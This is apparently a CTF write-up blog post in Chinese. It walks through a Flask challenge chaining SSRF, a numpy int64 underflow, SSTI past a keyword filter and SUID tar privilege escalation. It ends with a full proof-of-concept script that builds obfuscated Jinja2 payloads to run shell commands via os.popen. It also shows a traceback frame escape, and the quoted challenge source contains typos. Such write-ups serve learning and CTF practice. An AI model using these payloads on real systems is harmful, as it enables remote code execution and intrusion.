Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
1499 字
7 分钟
SSRF->int64整数下溢到SSTI拼接再到SUID提权的一题
2026-03-14
统计加载中...

1.SSRF->int64整数下溢到SSTI拼接再到SUID提权的一题#

单点链子的审计都不是很难,这里有点想作为python审计进阶的一部分,

我会一部分一部分放出源码,直到最后串联,在这之中我会进行调试,

保证过程的完整和可拓展性

from flask import Flask, request ,send_file, sessiom
import socket
import requests
import os
import bindascii
import uuid
import hashlib
import random
import numpy as np
from flask-limiter import Limiter
app = Flask("cyberproxy")#定义路由名字
BACKEND_PORT=5000
app.config['SECRET_KEY'] = binascii.hexlify(os.urandom(24)).decode('utf-8')
def get_client_id() -> str:
if 'client_id' not on session:
session['client_id'] = uuid.uuid4()
return session['client_id']
limiter = Limter(app=app, key_fun=get_client_id,default_limits=['8/minute'])
data_fragments = ['ALPHA', 'BETA', 'GAMMA', 'DELTA', 'EPSILON', 'ZETA', 'ETA', 'THETA']

起了一个后端的端口,然后转16进制,查看session,赋值uuid4这这些都是常规,然后就是limiter的限流器,先看看这里的debug参数

放一些重点

<class 'int'>, <class 'float'>, <class 'complex'>, <class 'bool'>, <class 'bytes'>, <class 'str'>, <class 'memoryview'>, <class 'numpy.bool'>, <class 'numpy.complex64'>, <class 'numpy.complex128'>, <class 'numpy.clongdouble'>, <class 'numpy.float16'>, <class 'numpy.float32'>, <class 'numpy.float64'>, <class 'numpy.longdouble'>, <class 'numpy.int8'>, <class 'numpy.int16'>, <class 'numpy.intc'>, <class 'numpy.int32'>, <class 'numpy.int64'>, <class 'numpy.datetime64'>, <class 'numpy.timedelta64'>, <class 'numpy.object_'>, <class 'numpy.bytes_'>, <class 'numpy.str_'>, <class 'numpy.uint8'>, <class 'numpy.uint16'>, <class 'numpy.uintc'>, <class 'numpy.uint32'>, <class 'numpy.uint64'>, <class 'numpy.void'>)

这里的np是有int64的,在数据类型具有自我判断,也就是说我们可以打破这个判断边界,进行整数下溢的操作,再者是limiter限流器传参进

然后是

@app.errorhandler(429)
def handle_exception(e):
return '\nConnection throttled. Try again later, choom.\n'
def calculate_risk_factor():#风险因素计算
base_risk = 0.8 / 100 #基础风险
transaction_count = 0 #交易计数
risk_increase_threshold = 63 #风险增加阈值
risk_peak_threshold = 85 #风险峰值阈值
current_risk = base_risk #当前风险水平
while True:
transaction_count += 1#交易计数
if transaction_count >= risk_increase_threshold and transaction_count < risk_peak_threshold:
current_risk += 0.08
if random.random() < current_risk:
break
return transaction_count

装饰器处理429报错,下面就是简单的函数算数逻辑,没什么好说的

接下来是路由的审计

@app.route('/', methods=["GET"])
def index():
try:
response = requests.get(f'http://127.0.0.1:{BACKEND_PORT}/', cookies=request.cookies)
return response.text, response.status_code, {'Content-Type': response.headers.get('Content-Type', 'text/html')}
except Exception as e:
return f"Backend service unavailable: {str(e)}", 503

直接连进内网的路由,但是没法访问其他的,看到e我又想拓展一下pyjail,那就来吧

讲讲一个keyerror的逃逸,打一个简单服务

@app.route('/')
def main():
x = request.get('tpl',{{e}})
try:
{}['x']
except Exception as e:
return render_template('index.html',e=e)

因为{}[‘x’]会抛出keyerror,元组不能调用取key的方法,

因为keyerror是python的内建异常,可以进行{{ e.traceback.tb_frame.f_globals }}绕过

也是一种栈帧逃逸,在subclasses之类的函数被禁用的时候可以选择的路子

和传统对象不同,异常对象多了个e.traceback,强大的当前栈信息

可以进行逃逸

回到正题

@app.route('/initialize')
def initialize():
session['credits'] = 0
session['client_id'] = uuid.uuid4()
session['reputation'] = 100
limiter.reset()
return "Session initialized. Welcome to the darknet."
@app.route('/hack')
@limiter.limit("1/hour")
def earn_credits():
earned = 0
if 'amount' in request.args:
try:
requested = int(request.args.get('amount'))
if requested < 100:
earned = requested
else:
return "Access denied: Excessive credit request flagged."
except:
return "Invalid credit amount."
current_credits = session.get('credits', 0)
session['credits'] = current_credits + earned
return f"Hack successful! Earned {earned} credits from corporate mainframe."

在/initialize,初始化session的各种值,把限流器reset。

然后就将amount的值进行计算,初始的amount值必须在100以下,

但是没有限制amount的最小值,我们看看另一个接口

credits = np.array(credits)
transaction_cost = calculate_risk_factor() * 3500
credits -= transaction_cost
try:
if credits < 0:
result = "Insufficient credits for this transaction."
else:
session['credits'] = 0
fragment_id = security_filter(fragment_id)
result = "Transaction blocked by security protocol."
if fragment_id not in data_fragments:
result = f"Fragment '{fragment_id}' not found in market database."
else:
result = f"Transaction complete! Acquired data fragment: {fragment_id}"

在这里注意np这个库,也就是numpy,它的底层是c实现的,速度极快,

它array的运算的性能高,但是它使用的是int类型,

所以在使用numpy做校验的时候,一定需要注意整数下溢or上溢的问题

相信各位肯定听过,因为在py做后端做鉴权的时候如果忽视了校验num溢出问题

那么很容易进行逃逸,因为

transaction_cost = calculate_risk_factor() * 3500

所以正常情况下绝对会amount<0

但是使用整数下溢出,回环到极大值

这样的话

fragment_id = security_filter(fragment_id)

可以直接进行服务器模板注入了,当然过滤了很多

forbidden_patterns = ['import', 'os', 'request', 'system', 'eval', 'exec', 'compile', 'args', '__', '[', ']', '\'', '"', 'class', 'mro', 'locals', 'builtin', 'base', 'subclasses', '{{', '}}', '.', 'list', '*', '_', '[', ']', '\'', '"', 'class', '\\', 'args', 'os', 'request', 'system', 'eval', 'exec', '*', '_', '[', ']', '\'', '"', 'class', '\\' 'globals', 'builtin', 'base', 'sub', '?', '{{', '}}', '.' ]

这时候还是可以用用typhon的。

又因为需要SUID提权,这里附上POC

import requests
import re
import urllib.parse
import html
BASE = "http://45.40.247.139:26381"
def relay(raw: str) -> str:
r = requests.post(
f"{BASE}/relay",
data={"port": "5000", "data": raw},
timeout=20
)
return r.text
def parse_set_cookie(resp: str):
m = re.search(r"Set-Cookie:\s*session=([^;]+);", resp, re.I)
return m.group(1) if m else None
def body_of(resp: str) -> str:
parts = resp.split("\r\n\r\n", 1)
if len(parts) == 2:
return parts[1]
parts = resp.split("\n\n", 1)
return parts[1] if len(parts) == 2 else resp
def backend_init():
raw = (
"GET /initialize HTTP/1.1\r\n"
"Host: 127.0.0.1:5000\r\n"
"Connection: close\r\n"
"\r\n"
)
resp = relay(raw)
return parse_set_cookie(resp), body_of(resp)
def backend_hack(cookie: str):
raw = (
"GET /hack?amount=-9223372036854775808 HTTP/1.1\r\n"
"Host: 127.0.0.1:5000\r\n"
f"Cookie: session={cookie}\r\n"
"Connection: close\r\n"
"\r\n"
)
resp = relay(raw)
return parse_set_cookie(resp), body_of(resp)
def backend_market(cookie: str, fragment: str):
body = urllib.parse.urlencode({"fragment": fragment})
raw = (
"POST /market HTTP/1.1\r\n"
"Host: 127.0.0.1:5000\r\n"
f"Cookie: session={cookie}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body.encode())}\r\n"
"Connection: close\r\n"
"\r\n"
f"{body}"
)
resp = relay(raw)
return body_of(resp)
def encode_char(ch: str) -> str:
if ch.isalpha():
c = ch.lower()
return f"(dict({c}=x)|join)"
if ch.isdigit():
return ch
if ch == " ":
return "sp"
if ch == "/":
return "sl"
if ch == "-":
return "da"
raise ValueError(f"当前版本不支持这个字符: {ch!r}")
def cmd_expr(cmd: str) -> str:
return "~".join(encode_char(ch) for ch in cmd)
def make_payload(cmd: str) -> str:
expr = cmd_expr(cmd)
template = r"""
{%set x=1%}
{%set sp=lipsum|string|batch(10)|first|last%}
{%set uu=lipsum|string|batch(19)|first|last%}
{%set gg=(dict(g=x)|join)~(dict(l=x)|join)~(dict(o=x)|join)~(dict(b=x)|join)~(dict(a=x)|join)~(dict(l=x)|join)~(dict(s=x)|join)%}
{%set glv=uu~uu~gg~uu~uu%}
{%set gt=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)%}
{%set oo=(dict(o=x)|join)~(dict(s=x)|join)%}
{%set cwd=(dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)~(dict(c=x)|join)~(dict(w=x)|join)~(dict(d=x)|join)%}
{%set pp=(dict(p=x)|join)~(dict(o=x)|join)~(dict(p=x)|join)~(dict(e=x)|join)~(dict(n=x)|join)%}
{%set rd=(dict(r=x)|join)~(dict(e=x)|join)~(dict(a=x)|join)~(dict(d=x)|join)%}
{%set da=(0-x)|string|first%}
{%set mm=lipsum|attr(glv)|attr(gt)(oo)%}
{%set sl=mm|attr(cwd)()|first%}
{%set cm=__CMD_EXPR__%}
{%print mm|attr(pp)(cm)|attr(rd)()%}
""".strip()
return template.replace("__CMD_EXPR__", expr)
def extract_stdout(html_text: str) -> str:
m = re.search(r"Fragment '(.*)' not found in market database\.", html_text, re.S)
if m:
return html.unescape(m.group(1))
return html.unescape(html_text)
def run_cmd(cmd: str):
init_cookie, init_body = backend_init()
hack_cookie, hack_body = backend_hack(init_cookie)
payload = make_payload(cmd)
result_html = backend_market(hack_cookie, payload)
result = extract_stdout(result_html)
print("=" * 80)
print("[cmd]", cmd)
print("[initialize]", init_body.strip())
print("[hack]", hack_body.strip())
print("[result]")
print(result)
print("=" * 80)
return result
if __name__ == "__main__":
# 第一次用这个:
# CMD = "tar -cf /tmp/f /flag"
# 第二次用这个:
CMD = "tar -x --to-stdout -f /tmp/f flag"
run_cmd(CMD)

这里因为在suid程序中有tar,那就将flag解压到可读的目录,直接访问即可。

在这里有个小插曲,也就是在limiter限流器进行审计的时候偶然发现了直接的SQL拼接

也是提交了CVE

好运好状态~~

SSRF->int64整数下溢到SSTI拼接再到SUID提权的一题
https://steins-gate.cn/posts/chuhui2026/
作者
萦梦sora~X
发布于
2026-03-14
许可协议
Unlicensed

部分信息可能已经过时